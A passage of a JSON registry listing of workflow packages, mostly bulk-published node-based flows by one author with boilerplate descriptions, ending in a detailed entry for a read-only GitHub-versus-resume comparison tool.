el","title":"radiant-cors-sentinel","description":"Security & Governance Sentinel for radiant-cors-sentinel: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","radiant","cors","sentinel","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:48.497946+00:00","visibility":"public","quality_score":1,"size_bytes":513993,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:14d96ed3283d3c5c931b21b51723aba8d3fed8a56cfe309ab77e5332da403ddd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/radahn-parallel-stress-cannon@4.15.26","reference":"ankurrawat/radahn-parallel-stress-cannon@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/radahn-parallel-stress-cannon@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/radahn-parallel-stress-cannon@4.15.26","name":"radahn-parallel-stress-cannon","title":"radahn-parallel-stress-cannon","description":"High-Throughput Infrastructure & Scaling Engine for radahn-parallel-stress-cannon: Simulates extreme concurrent load, evaluates Redis token buckets, and benchmarks Kafka event streams.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","radahn","parallel","stress","cannon"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:45.162382+00:00","visibility":"public","quality_score":1,"size_bytes":514007,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_scaling_scorecard","step_parallel_fanout_execution","step_3_route_kafka_event_stream","step_1_bootstrap_ingress_cluster","step_2_execute_redis_token_bucket","step_4_monitor_backpressure_and_p99","step_5_evaluate_circuit_breaker_state"]},"parameters":[],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c1e72a9c6274f6a645b2735a4dff8e329001418fd10ab2368e90fa03787764ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/prisma-schema-migration-writer@4.15.26","reference":"ankurrawat/prisma-schema-migration-writer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/prisma-schema-migration-writer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/prisma-schema-migration-writer@4.15.26","name":"prisma-schema-migration-writer","title":"prisma-schema-migration-writer","description":"DevOps & Container Optimization Engine for prisma-schema-migration-writer: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","prisma","schema","migration","writer"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:32.538385+00:00","visibility":"public","quality_score":1,"size_bytes":514101,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ca5cb4487a5846f584c95968e6b5079729379f53e5d95222bc4874fd7cc5fb29","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"notion-mcp","steps":1,"methods":["databases/query"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/pr-aura-check@4.15.26","reference":"ankurrawat/pr-aura-check@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/pr-aura-check@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/pr-aura-check@4.15.26","name":"pr-aura-check","title":"pr-aura-check","description":"Domain Analysis & Developer Utility for pr-aura-check: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","aura","check","developer-tools","automation"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:28.600473+00:00","visibility":"public","quality_score":1,"size_bytes":514825,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7196bd3f466535c6a518595fc051badaeb42637ab7b3c6df5bbbae382aed66a8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/playoff-submission-validator@4.15.26","reference":"ankurrawat/playoff-submission-validator@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/playoff-submission-validator@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/playoff-submission-validator@4.15.26","name":"playoff-submission-validator","title":"playoff-submission-validator","description":"Domain Analysis & Developer Utility for playoff-submission-validator: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","playoff","submission","validator","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:56.667603+00:00","visibility":"public","quality_score":1,"size_bytes":514748,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b095c59975ab73cc6c19709f1f835493e5d32f7c8165e5c8be887c292c6e599","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/malenia-agent-orchestrator@4.15.26","reference":"ankurrawat/malenia-agent-orchestrator@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/malenia-agent-orchestrator@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/malenia-agent-orchestrator@4.15.26","name":"malenia-agent-orchestrator","title":"malenia-agent-orchestrator","description":"Domain Analysis & Developer Utility for malenia-agent-orchestrator: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","malenia","agent","orchestrator","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:58.691712+00:00","visibility":"public","quality_score":1,"size_bytes":514060,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2a61a1e34862583ca033cb30823183a874104a2eb0028ae492ba555f4742d97f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/grace-point-rollback-medic@4.15.26","reference":"ankurrawat/grace-point-rollback-medic@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/grace-point-rollback-medic@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/grace-point-rollback-medic@4.15.26","name":"grace-point-rollback-medic","title":"grace-point-rollback-medic","description":"Domain Analysis & Developer Utility for grace-point-rollback-medic: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","grace","point","rollback","medic"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:14.394846+00:00","visibility":"public","quality_score":1,"size_bytes":514222,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:20a765e51d8f5ce2d349b5f55c7a7142d206319decdfb731a00ab0dc36891318","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"github","steps":1,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/github-pr-sync-prober@4.15.26","reference":"ankurrawat/github-pr-sync-prober@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/github-pr-sync-prober@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/github-pr-sync-prober@4.15.26","name":"github-pr-sync-prober","title":"github-pr-sync-prober","description":"Domain Analysis & Developer Utility for github-pr-sync-prober: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","github","sync","prober","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:42.930818+00:00","visibility":"public","quality_score":1,"size_bytes":514122,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:201ee4bf5a838fbe13581b82b9a9121ca6d5939e70bac5879690c31b2fe6f9b3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/github-actions-ci-writer@4.15.26","reference":"ankurrawat/github-actions-ci-writer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/github-actions-ci-writer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/github-actions-ci-writer@4.15.26","name":"github-actions-ci-writer","title":"github-actions-ci-writer","description":"DevOps & Container Optimization Engine for github-actions-ci-writer: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","github","actions","writer","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:36.202219+00:00","visibility":"public","quality_score":1,"size_bytes":513927,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:817d9e47dba510c1e9d77e43c8c2b8861eb206a0569e25ca4a218a46b721e4f7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/env-example-scaffolder@4.15.26","reference":"ankurrawat/env-example-scaffolder@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/env-example-scaffolder@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/env-example-scaffolder@4.15.26","name":"env-example-scaffolder","title":"env-example-scaffolder","description":"DevOps & Container Optimization Engine for env-example-scaffolder: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","env","example","scaffolder","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:27.231526+00:00","visibility":"public","quality_score":1,"size_bytes":514201,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:829f8c1f113671ba8e73e4ad925384cd1b852182a3263b2ac4f5c1db6373fdee","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/dragonrot-log-diagnostician@4.15.26","reference":"ankurrawat/dragonrot-log-diagnostician@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/dragonrot-log-diagnostician@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/dragonrot-log-diagnostician@4.15.26","name":"dragonrot-log-diagnostician","title":"dragonrot-log-diagnostician","description":"DevOps & Container Optimization Engine for dragonrot-log-diagnostician: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","dragonrot","log","diagnostician","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:21.305229+00:00","visibility":"public","quality_score":1,"size_bytes":514105,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4e00643622c450bfbec6dcf3db85d08de902a289c4d764f180c4b9225888b29b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"github","steps":1,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/dockerfile-alpine-optimizer@4.15.26","reference":"ankurrawat/dockerfile-alpine-optimizer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/dockerfile-alpine-optimizer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/dockerfile-alpine-optimizer@4.15.26","name":"dockerfile-alpine-optimizer","title":"dockerfile-alpine-optimizer","description":"DevOps & Container Optimization Engine for dockerfile-alpine-optimizer: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","dockerfile","alpine","optimizer","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:03.08134+00:00","visibility":"public","quality_score":1,"size_bytes":514157,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a9375ad197d866805a1447233572b8aa85fb632e4817ff4b08ebc5f00456fc87","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/andrew-kevin-007/resume-drift@0.1.11","reference":"andrew-kevin-007/resume-drift@0.1.11","uri":"https://play.modiqo.ai/andrew-kevin-007/resume-drift@0.1.11","manifest_uri":"https://play.modiqo.ai/andrew-kevin-007/resume-drift@0.1.11","name":"resume-drift","title":"resume-drift","description":"What have you shipped that your resume does not know about? Compares a GitHub account against the date of your most recent resume file and reports the gap: which repositories were pushed after the resume was last written, which of those the resume never names, and which have a live deployment URL that appears nowhere in it. The baseline is the resume file's own modification time, reported as a PROXY and overridable with since=YYYY-MM-DD, because cloud sync or a re-download can reset it. Mention detection reads the resume locally and emits one boolean per repository: no snippet, no contact detail and no document text ever leaves that step. A repository whose name is also an ordinary English word (studio, portfolio, core) is reported as WEAK evidence rather than asserted, and when no text extractor applies - or when one succeeds but recovers no readable text, as pdftotext does on a scanned or image-only PDF - every repository returns UNKNOWN instead of not-mentioned, because could-not-look and did-not-find are different answers. Pass role= to rank the gap by fit against a named track (backend, frontend, fullstack, ml, devops, mobile, data) using printed keyword evidence, never a generated score. Every excluded repository is reported with its reason and an exact count: forks, archived repositories, the profile README and empty repositories are named, never silently dropped. Offline except for one public GitHub call, read-only, writes nothing, needs no credentials; GITHUB_TOKEN is honoured only to raise the rate limit; private repositories are never counted, because this endpoint returns public repositories only with or without a token, and the report states that on every run. Needs python3; pdftotext enables PDF mention detection. Run it with demo=true to see the whole thing work on a bundled sample resume and a public account, with no setup at all.","owner":{"kind":"user","slug":"andrew-kevin-007"},"registry_organization":"andrew-kevin-007","tags":["audience-developers","effect-read-only","domain-career","job-resume-maintenance","github","resume"],"primary_domain":"domain-career","author":"andrew-kevin-007","version":"0.1.11","published_at":"2026-09-06T11:21:02.497826+00:00","visibility":"public","quality_score":1,"size_bytes":23604,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["fetch_repos","match_mentions","resolve_resume"]},"parameters":[{"name":"github_user","type":"string","required":false,"description":"GitHub handle to scan, e.g. octocat. A full profile URL works too."},{"name":"resume_path","type":"string","required":false,"description":"Absolute path to a resume file, or a folder of resumes (newest non-cover-letter wins). On Windows use the WSL form: /mnt/c/Users/<you>/Documents/resume.pdf - a C:\\ path is translated automatically when it resolves."},{"name":"role","type":"string","required":false,"description":"Rank the gap by fit for one track. Common job titles are accepted too, e.g. Software Developer resolves to fullstack."},{"name":"since","type":"string","required":false,"description":"Override the baseline as YYYY-MM-DD instead of the resume file timestamp. Pass an empty value to clear a previous override, which rote remembers between runs."},{"name":"demo","type":"string","required":false,"description":"Set to true to run with no setup at all, against a bundled sample resume and a public GitHub account. Use it once to see the shape of the answer, then pass your own github_user and resume_path."},{"name":"include_forks","type":"string","required":false,"description":"Set to true to include forked repositories (default 